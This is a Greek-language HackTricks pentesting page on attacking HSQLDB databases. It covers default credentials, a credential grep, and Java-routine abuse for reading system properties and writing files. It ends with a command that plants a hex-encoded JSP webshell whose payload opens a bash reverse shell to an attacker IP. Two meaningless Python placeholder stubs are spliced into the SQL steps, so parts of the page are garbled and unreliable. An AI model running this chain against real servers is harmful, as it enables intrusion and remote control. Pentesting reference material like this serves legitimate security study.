hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

107 lines
8.5 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
# Βασικές Πληροφορίες
2024-02-10 22:40:18 +00:00
Το **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** είναι το κορυφαίο σύστημα βάσης δεδομένων SQL που έχει γραφεί σε Java. Προσφέρει έναν μικρό, γρήγορο, πολυνηματικό και συναλλαγματικό μηχανισμό βάσης δεδομένων με πίνακες στη μνήμη και στον δίσκο και υποστηρίζει ενσωματωμένη και λειτουργία διακομιστή.
2024-02-10 22:40:18 +00:00
**Προεπιλεγμένη θύρα:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2024-02-10 22:40:18 +00:00
# Πληροφορίες
2024-02-10 22:40:18 +00:00
### Προεπιλεγμένες Ρυθμίσεις
2024-02-10 22:40:18 +00:00
Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανόν να εκτελείται στη μνήμη ή να είναι συνδεδεμένη με τον τοπικό υπολογιστή. Αν την βρήκατε, πιθανόν να έχετε εκμεταλλευτεί μια άλλη υπηρεσία και ψάχνετε να αναβαθμίσετε τα δικαιώματά σας.
2024-02-10 22:40:18 +00:00
Οι προεπιλεγμένες διαπιστευτήρια είναι συνήθως `sa` με κενό κωδικό πρόσβασης.
2024-02-10 22:40:18 +00:00
Αν έχετε εκμεταλλευτεί μια άλλη υπηρεσία, αναζητήστε πιθανά διαπιστευτήρια χρησιμοποιώντας την εντολή
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2024-02-10 22:40:18 +00:00
Σημειώστε προσεκτικά το όνομα της βάσης δεδομένων - θα το χρειαστείτε για να συνδεθείτε.
2024-02-10 22:40:18 +00:00
# Συλλογή Πληροφοριών
2024-02-10 22:40:18 +00:00
Συνδεθείτε στην περίπτωση βάσης δεδομένων κατεβάζοντας το HSQLDB από [εδώ](https://sourceforge.net/projects/hsqldb/files/) και εξάγοντας το `hsqldb/lib/hsqldb.jar`. Εκτελέστε την εφαρμογή GUI \(eww\) χρησιμοποιώντας την εντολή `java -jar hsqldb.jar` και συνδεθείτε στην περίπτωση χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.
2024-02-10 22:40:18 +00:00
Σημειώστε ότι η διεύθυνση URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`.
2024-02-10 22:40:18 +00:00
# Κόλπα
2024-02-10 22:40:18 +00:00
## Ρουτίνες Της Γλώσσας Java
2024-02-10 22:40:18 +00:00
Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας τις Ρουτίνες Της Γλώσσας Java. Πρέπει να σημειωθεί ότι η κληθείσα κλάση πρέπει να βρίσκεται στο classpath της εφαρμογής.
2024-02-10 22:40:18 +00:00
Οι JRTs μπορούν να είναι `συναρτήσεις` ή `διαδικασίες`. Οι συναρτήσεις μπορούν να κληθούν μέσω εντολών SQL εάν η μέθοδος Java επιστρέφει μία ή περισσότερες μεταβλητές πρωτογενούς τύπου συμβατές με SQL. Καλούνται χρησιμοποιώντας την εντολή `VALUES`.
2024-02-10 22:40:18 +00:00
Εάν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με την εντολή `CALL`.
2024-02-10 22:40:18 +00:00
## Ανάγνωση Ιδιοτήτων Συστήματος Java
2024-02-10 22:40:18 +00:00
Δημιουργήστε τη συνάρτηση:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2024-02-10 22:40:18 +00:00
```python
def execute_function():
# Code to execute the function goes here
pass
```
2024-02-10 22:40:18 +00:00
Εκτέλεση συνάρτησης:
2024-02-10 22:40:18 +00:00
```python
def execute_function():
# Ο κώδικας για την εκτέλεση της συνάρτησης βρίσκεται εδώ
pass
```
```text
VALUES(getsystemproperty('user.name'))
```
2024-02-10 22:40:18 +00:00
Μπορείτε να βρείτε μια [λίστα με τις ιδιότητες του συστήματος εδώ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
2024-02-10 22:40:18 +00:00
## Εγγραφή Περιεχομένου σε Αρχείο
2024-02-10 22:40:18 +00:00
Μπορείτε να χρησιμοποιήσετε το Java gadget `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` που βρίσκεται στο JDK (φορτώνεται αυτόματα στον δρομολογητή της εφαρμογής) για να εγγράψετε στον δίσκο hex-encoded αντικείμενα μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**.
2024-02-10 22:40:18 +00:00
Δημιουργία διαδικασίας:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2024-02-10 22:40:18 +00:00
Εκτέλεση διαδικασίας:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>